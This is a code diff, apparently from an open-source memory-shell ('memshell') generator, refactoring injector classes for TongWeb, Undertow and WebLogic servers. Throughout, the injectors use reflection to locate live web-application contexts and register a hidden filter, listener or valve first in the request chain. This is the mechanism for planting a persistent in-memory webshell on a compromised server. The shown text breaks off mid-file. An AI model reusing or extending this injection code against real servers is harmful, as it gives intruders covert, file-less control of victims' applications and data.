@@ -35,7 +35,7 @@ public class TongWebListenerInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -96,7 +96,7 @@ public class TongWebListenerInjector {
|
|||||||
return contexts;
|
return contexts;
|
||||||
}
|
}
|
||||||
|
|
||||||
private ClassLoader getWebAppClassLoader(Object context) {
|
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||||
try {
|
try {
|
||||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
@@ -218,30 +218,25 @@ public class TongWebListenerInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
try {
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
Method method = null;
|
||||||
Method method = null;
|
while (clazz != null && method == null) {
|
||||||
while (clazz != null && method == null) {
|
try {
|
||||||
try {
|
if (paramClazz == null) {
|
||||||
if (paramClazz == null) {
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
method = clazz.getDeclaredMethod(methodName);
|
} else {
|
||||||
} else {
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
|
||||||
}
|
|
||||||
} catch (NoSuchMethodException e) {
|
|
||||||
clazz = clazz.getSuperclass();
|
|
||||||
}
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
}
|
}
|
||||||
if (method == null) {
|
|
||||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
|
||||||
}
|
|
||||||
|
|
||||||
method.setAccessible(true);
|
|
||||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
|
||||||
} catch (Exception e) {
|
|
||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
|
||||||
}
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
@@ -35,7 +35,7 @@ public class TongWebValveInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
|
|||||||
@@ -7,7 +7,10 @@ import java.io.IOException;
|
|||||||
import java.io.PrintStream;
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.*;
|
import java.util.HashMap;
|
||||||
|
import java.util.HashSet;
|
||||||
|
import java.util.Map;
|
||||||
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
|
|
||||||
@@ -40,7 +43,7 @@ public class UndertowFilterInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -75,6 +78,7 @@ public class UndertowFilterInjector {
|
|||||||
return c + "(" + r + ")";
|
return c + "(" + r + ")";
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("Duplicates")
|
||||||
public Set<Object> getContext() throws Exception {
|
public Set<Object> getContext() throws Exception {
|
||||||
Set<Object> contexts = new HashSet<Object>();
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
@@ -129,6 +133,8 @@ public class UndertowFilterInjector {
|
|||||||
Object managedFilters = invokeMethod(deploymentImpl, "getFilters", null, null);
|
Object managedFilters = invokeMethod(deploymentImpl, "getFilters", null, null);
|
||||||
invokeMethod(managedFilters, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo});
|
invokeMethod(managedFilters, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo});
|
||||||
invokeMethod(deploymentInfo, "insertFilterUrlMapping", new Class[]{int.class, String.class, String.class, DispatcherType.class}, new Object[]{0, getClassName(), getUrlPattern(), DispatcherType.REQUEST});
|
invokeMethod(deploymentInfo, "insertFilterUrlMapping", new Class[]{int.class, String.class, String.class, DispatcherType.class}, new Object[]{0, getClassName(), getUrlPattern(), DispatcherType.REQUEST});
|
||||||
|
// invalidate cache
|
||||||
|
invokeMethod(invokeMethod(deploymentImpl, "getServletPaths", null, null), "invalidate", null, null);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("unchecked")
|
@SuppressWarnings("unchecked")
|
||||||
@@ -213,30 +219,25 @@ public class UndertowFilterInjector {
|
|||||||
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
try {
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
Method method = null;
|
||||||
Method method = null;
|
while (clazz != null && method == null) {
|
||||||
while (clazz != null && method == null) {
|
try {
|
||||||
try {
|
if (paramClazz == null) {
|
||||||
if (paramClazz == null) {
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
method = clazz.getDeclaredMethod(methodName);
|
} else {
|
||||||
} else {
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
|
||||||
}
|
|
||||||
} catch (NoSuchMethodException e) {
|
|
||||||
clazz = clazz.getSuperclass();
|
|
||||||
}
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
}
|
}
|
||||||
if (method == null) {
|
|
||||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
|
||||||
}
|
|
||||||
|
|
||||||
method.setAccessible(true);
|
|
||||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
|
||||||
} catch (Exception e) {
|
|
||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
|
||||||
}
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
@@ -5,9 +5,7 @@ import java.io.ByteArrayOutputStream;
|
|||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.io.PrintStream;
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.InvocationTargetException;
|
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.ArrayList;
|
|
||||||
import java.util.HashSet;
|
import java.util.HashSet;
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
import java.util.Set;
|
import java.util.Set;
|
||||||
@@ -40,7 +38,7 @@ public class UndertowListenerInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -191,30 +189,25 @@ public class UndertowListenerInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
try {
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
Method method = null;
|
||||||
Method method = null;
|
while (clazz != null && method == null) {
|
||||||
while (clazz != null && method == null) {
|
try {
|
||||||
try {
|
if (paramClazz == null) {
|
||||||
if (paramClazz == null) {
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
method = clazz.getDeclaredMethod(methodName);
|
} else {
|
||||||
} else {
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
|
||||||
}
|
|
||||||
} catch (NoSuchMethodException e) {
|
|
||||||
clazz = clazz.getSuperclass();
|
|
||||||
}
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
}
|
}
|
||||||
if (method == null) {
|
|
||||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
|
||||||
}
|
|
||||||
|
|
||||||
method.setAccessible(true);
|
|
||||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
|
||||||
} catch (Exception e) {
|
|
||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
|
||||||
}
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
@@ -5,11 +5,8 @@ import java.io.ByteArrayOutputStream;
|
|||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.io.PrintStream;
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.InvocationTargetException;
|
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.ArrayList;
|
|
||||||
import java.util.HashSet;
|
import java.util.HashSet;
|
||||||
import java.util.List;
|
|
||||||
import java.util.Set;
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
@@ -44,7 +41,7 @@ public class UndertowServletInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -213,30 +210,25 @@ public class UndertowServletInjector {
|
|||||||
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
try {
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
Method method = null;
|
||||||
Method method = null;
|
while (clazz != null && method == null) {
|
||||||
while (clazz != null && method == null) {
|
try {
|
||||||
try {
|
if (paramClazz == null) {
|
||||||
if (paramClazz == null) {
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
method = clazz.getDeclaredMethod(methodName);
|
} else {
|
||||||
} else {
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
|
||||||
}
|
|
||||||
} catch (NoSuchMethodException e) {
|
|
||||||
clazz = clazz.getSuperclass();
|
|
||||||
}
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
}
|
}
|
||||||
if (method == null) {
|
|
||||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
|
||||||
}
|
|
||||||
|
|
||||||
method.setAccessible(true);
|
|
||||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
|
||||||
} catch (Exception e) {
|
|
||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
|
||||||
}
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
@@ -1,13 +1,17 @@
|
|||||||
package com.reajason.javaweb.memshell.injector.weblogic;
|
package com.reajason.javaweb.memshell.injector.weblogic;
|
||||||
|
|
||||||
|
import javax.management.MBeanServer;
|
||||||
import java.io.ByteArrayInputStream;
|
import java.io.ByteArrayInputStream;
|
||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.io.PrintStream;
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.Array;
|
import java.lang.management.ManagementFactory;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.*;
|
import java.util.HashSet;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.Map;
|
||||||
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -40,7 +44,7 @@ public class WebLogicFilterInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -75,93 +79,38 @@ public class WebLogicFilterInjector {
|
|||||||
return c + "(" + r + ")";
|
return c + "(" + r + ")";
|
||||||
}
|
}
|
||||||
|
|
||||||
public static Object[] getContextsByMbean() throws Throwable {
|
|
||||||
Set<Object> webappContexts = new HashSet<Object>();
|
|
||||||
Class<?> serverRuntimeClass = Class.forName("weblogic.t3.srvr.ServerRuntime");
|
|
||||||
Class<?> webAppServletContextClass = Class.forName("weblogic.servlet.internal.WebAppServletContext");
|
|
||||||
Method theOneMethod = serverRuntimeClass.getMethod("theOne");
|
|
||||||
theOneMethod.setAccessible(true);
|
|
||||||
Object serverRuntime = theOneMethod.invoke(null);
|
|
||||||
Method getApplicationRuntimesMethod = serverRuntime.getClass().getMethod("getApplicationRuntimes");
|
|
||||||
getApplicationRuntimesMethod.setAccessible(true);
|
|
||||||
Object applicationRuntimes = getApplicationRuntimesMethod.invoke(serverRuntime);
|
|
||||||
int applicationRuntimeSize = Array.getLength(applicationRuntimes);
|
|
||||||
for (int i = 0; i < applicationRuntimeSize; i++) {
|
|
||||||
Object applicationRuntime = Array.get(applicationRuntimes, i);
|
|
||||||
try {
|
|
||||||
Method getComponentRuntimesMethod = applicationRuntime.getClass().getMethod("getComponentRuntimes");
|
|
||||||
Object componentRuntimes = getComponentRuntimesMethod.invoke(applicationRuntime);
|
|
||||||
int componentRuntimeSize = Array.getLength(componentRuntimes);
|
|
||||||
for (int j = 0; j < componentRuntimeSize; j++) {
|
|
||||||
Object context = getFieldValue(Array.get(componentRuntimes, j), "context");
|
|
||||||
if (webAppServletContextClass.isInstance(context)) {
|
|
||||||
webappContexts.add(context);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
} catch (Throwable ignored) {
|
|
||||||
}
|
|
||||||
|
|
||||||
try {
|
|
||||||
Set<Object> childrenSet = (Set<Object>) getFieldValue(applicationRuntime, "children");
|
|
||||||
for (Object componentRuntime : childrenSet) {
|
|
||||||
try {
|
|
||||||
Object context = getFieldValue(componentRuntime, "context");
|
|
||||||
if (webAppServletContextClass.isInstance(context)) {
|
|
||||||
webappContexts.add(context);
|
|
||||||
}
|
|
||||||
} catch (Throwable ignored) {
|
|
||||||
}
|
|
||||||
}
|
|
||||||
} catch (Throwable ignored) {
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return webappContexts.toArray();
|
|
||||||
}
|
|
||||||
|
|
||||||
public static Object[] getContextsByThreads() throws Throwable {
|
|
||||||
Set<Object> webappContexts = new HashSet<Object>();
|
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
|
||||||
for (Thread thread : threads) {
|
|
||||||
if (thread != null) {
|
|
||||||
Object workEntry = getFieldValue(thread, "workEntry");
|
|
||||||
if (workEntry != null) {
|
|
||||||
try {
|
|
||||||
Object context = null;
|
|
||||||
Object connectionHandler = getFieldValue(workEntry, "connectionHandler");
|
|
||||||
if (connectionHandler != null) {
|
|
||||||
Object request = getFieldValue(connectionHandler, "request");
|
|
||||||
if (request != null) {
|
|
||||||
context = getFieldValue(request, "context");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (context == null) {
|
|
||||||
context = getFieldValue(workEntry, "context");
|
|
||||||
}
|
|
||||||
|
|
||||||
if (context != null) {
|
|
||||||
webappContexts.add(context);
|
|
||||||
}
|
|
||||||
} catch (Throwable ignored) {
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return webappContexts.toArray();
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* weblogic.servlet.internal.WebAppServletContext
|
* weblogic.servlet.internal.WebAppServletContext
|
||||||
* /opt/oracle/wls1036/server/lib/weblogic.jar
|
* /opt/oracle/wls1036/server/lib/weblogic.jar
|
||||||
* /u01/oracle/wlserver/modules/com.oracle.weblogic.servlet.jar
|
* /u01/oracle/wlserver/modules/com.oracle.weblogic.servlet.jar
|
||||||
*/
|
*/
|
||||||
public static Set<Object> getContext() {
|
public static Set<Object> getContext() throws Exception {
|
||||||
Set<Object> webappContexts = new HashSet<Object>();
|
Set<Object> webappContexts = new HashSet<Object>();
|
||||||
try {
|
MBeanServer platformMBeanServer = ManagementFactory.getPlatformMBeanServer();
|
||||||
webappContexts.addAll(Arrays.asList(getContextsByMbean()));
|
Map<String, Object> objectsByObjectName = (Map<String, Object>) getFieldValue(platformMBeanServer, "objectsByObjectName");
|
||||||
} catch (Throwable ignored) {
|
for (Map.Entry<String, Object> entry : objectsByObjectName.entrySet()) {
|
||||||
|
String key = entry.getKey();
|
||||||
|
if (key.contains("Type=WebAppComponentRuntime")) {
|
||||||
|
Object value = entry.getValue();
|
||||||
|
Object managedResource = getFieldValue(value, "managedResource");
|
||||||
|
if (managedResource != null && managedResource.getClass().getSimpleName().equals("WebAppRuntimeMBeanImpl")) {
|
||||||
|
webappContexts.add(getFieldValue(managedResource, "context"));
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
try {
|
try {
|
||||||
webappContexts.addAll(Arrays.asList(getContextsByThreads()));
|
Object workEntry = getFieldValue(Thread.currentThread(), "workEntry");
|
||||||
|
Object request = null;
|
||||||
|
try {
|
||||||
|
Object connectionHandler = getFieldValue(workEntry, "connectionHandler");
|
||||||
|
request = getFieldValue(connectionHandler, "request");
|
||||||
|
} catch (Exception x) {
|
||||||
|
// WebLogic 10.3.6
|
||||||
|
request = workEntry;
|
||||||
|
}
|
||||||
|
if (request != null) {
|
||||||
|
webappContexts.add(getFieldValue(request, "context"));
|
||||||
|
}
|
||||||
} catch (Throwable ignored) {
|
} catch (Throwable ignored) {
|
||||||
}
|
}
|
||||||
return webappContexts;
|
return webappContexts;
|
||||||
@@ -193,20 +142,14 @@ public class WebLogicFilterInjector {
|
|||||||
|
|
||||||
@SuppressWarnings("unchecked")
|
@SuppressWarnings("unchecked")
|
||||||
public void inject(Object context, Object filter) throws Exception {
|
public void inject(Object context, Object filter) throws Exception {
|
||||||
Map filters = (Map) getFieldValue(getFieldValue(context, "filterManager"), "filters");
|
|
||||||
for (Object obj : filters.keySet()) {
|
|
||||||
if (obj.toString().contains(getClassName())) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
Object filterManager = invokeMethod(context, "getFilterManager", null, null);
|
Object filterManager = invokeMethod(context, "getFilterManager", null, null);
|
||||||
Object servletClassLoader = invokeMethod(context, "getServletClassLoader", null, null);
|
if (((Map) getFieldValue(filterManager, "filters")).containsKey(getClassName())) {
|
||||||
Map<String, Class<?>> cachedClasses = (Map<String, Class<?>>) getFieldValue(servletClassLoader, "cachedClasses");
|
return;
|
||||||
cachedClasses.put(getClassName(), filter.getClass());
|
}
|
||||||
invokeMethod(filterManager, "registerFilter", new Class[]{String.class, String.class, String[].class, String[].class, Map.class, String[].class}, new Object[]{getClassName(), getClassName(), new String[]{getUrlPattern()}, null, null, new String[]{"REQUEST", "FORWARD", "INCLUDE", "ERROR"}});
|
invokeMethod(filterManager, "registerFilter", new Class[]{String.class, String.class, String[].class, String[].class, Map.class, String[].class}, new Object[]{getClassName(), getClassName(), new String[]{getUrlPattern()}, null, null, new String[]{"REQUEST", "FORWARD", "INCLUDE", "ERROR"}});
|
||||||
List<Object> filterPatternList = (List<Object>) getFieldValue(filterManager, "filterPatternList");
|
List<Object> filterPatternList = (List<Object>) getFieldValue(filterManager, "filterPatternList");
|
||||||
Object currentMapping = filterPatternList.remove(filterPatternList.size() - 1);
|
Object curFilterInfo = filterPatternList.remove(filterPatternList.size() - 1);
|
||||||
filterPatternList.add(0, currentMapping);
|
filterPatternList.add(0, curFilterInfo);
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
@@ -248,30 +191,25 @@ public class WebLogicFilterInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
try {
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
Method method = null;
|
||||||
Method method = null;
|
while (clazz != null && method == null) {
|
||||||
while (clazz != null && method == null) {
|
try {
|
||||||
try {
|
if (paramClazz == null) {
|
||||||
if (paramClazz == null) {
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
method = clazz.getDeclaredMethod(methodName);
|
} else {
|
||||||
} else {
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
|
||||||
}
|
|
||||||
} catch (NoSuchMethodException e) {
|
|
||||||
clazz = clazz.getSuperclass();
|
|
||||||
}
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
}
|
}
|
||||||
if (method == null) {
|
|
||||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
|
||||||
}
|
|
||||||
|
|
||||||
method.setAccessible(true);
|
|
||||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
|
||||||
} catch (Exception e) {
|
|
||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
|
||||||
}
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
@@ -1,15 +1,16 @@
|
|||||||
package com.reajason.javaweb.memshell.injector.weblogic;
|
package com.reajason.javaweb.memshell.injector.weblogic;
|
||||||
|
|
||||||
|
import javax.management.MBeanServer;
|
||||||
import java.io.ByteArrayInputStream;
|
import java.io.ByteArrayInputStream;
|
||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.io.PrintStream;
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.Array;
|
import java.lang.management.ManagementFactory;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.Arrays;
|
|
||||||
import java.util.HashSet;
|
import java.util.HashSet;
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
|
import java.util.Map;
|
||||||
import java.util.Set;
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
@@ -40,7 +41,7 @@ public class WebLogicListenerInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -75,88 +76,39 @@ public class WebLogicListenerInjector {
|
|||||||
return c + "(" + r + ")";
|
return c + "(" + r + ")";
|
||||||
}
|
}
|
||||||
|
|
||||||
static Object[] getContextsByMbean() throws Throwable {
|
|
||||||
|
/**
|
||||||
|
* weblogic.servlet.internal.WebAppServletContext
|
||||||
|
* /opt/oracle/wls1036/server/lib/weblogic.jar
|
||||||
|
* /u01/oracle/wlserver/modules/com.oracle.weblogic.servlet.jar
|
||||||
|
*/
|
||||||
|
public static Set<Object> getContext() throws Exception {
|
||||||
Set<Object> webappContexts = new HashSet<Object>();
|
Set<Object> webappContexts = new HashSet<Object>();
|
||||||
Class<?> serverRuntimeClass = Class.forName("weblogic.t3.srvr.ServerRuntime");
|
MBeanServer platformMBeanServer = ManagementFactory.getPlatformMBeanServer();
|
||||||
Class<?> webAppServletContextClass = Class.forName("weblogic.servlet.internal.WebAppServletContext");
|
Map<String, Object> objectsByObjectName = (Map<String, Object>) getFieldValue(platformMBeanServer, "objectsByObjectName");
|
||||||
Method theOneMethod = serverRuntimeClass.getMethod("theOne");
|
for (Map.Entry<String, Object> entry : objectsByObjectName.entrySet()) {
|
||||||
theOneMethod.setAccessible(true);
|
String key = entry.getKey();
|
||||||
Object serverRuntime = theOneMethod.invoke(null);
|
if (key.contains("Type=WebAppComponentRuntime")) {
|
||||||
Method getApplicationRuntimesMethod = serverRuntime.getClass().getMethod("getApplicationRuntimes");
|
Object value = entry.getValue();
|
||||||
getApplicationRuntimesMethod.setAccessible(true);
|
Object managedResource = getFieldValue(value, "managedResource");
|
||||||
Object applicationRuntimes = getApplicationRuntimesMethod.invoke(serverRuntime);
|
if (managedResource != null && managedResource.getClass().getSimpleName().equals("WebAppRuntimeMBeanImpl")) {
|
||||||
int applicationRuntimeSize = Array.getLength(applicationRuntimes);
|
webappContexts.add(getFieldValue(managedResource, "context"));
|
||||||
for (int i = 0; i < applicationRuntimeSize; i++) {
|
|
||||||
Object applicationRuntime = Array.get(applicationRuntimes, i);
|
|
||||||
try {
|
|
||||||
Method getComponentRuntimesMethod = applicationRuntime.getClass().getMethod("getComponentRuntimes");
|
|
||||||
Object componentRuntimes = getComponentRuntimesMethod.invoke(applicationRuntime);
|
|
||||||
int componentRuntimeSize = Array.getLength(componentRuntimes);
|
|
||||||
for (int j = 0; j < componentRuntimeSize; j++) {
|
|
||||||
Object context = getFieldValue(Array.get(componentRuntimes, j), "context");
|
|
||||||
if (webAppServletContextClass.isInstance(context)) {
|
|
||||||
webappContexts.add(context);
|
|
||||||
}
|
|
||||||
}
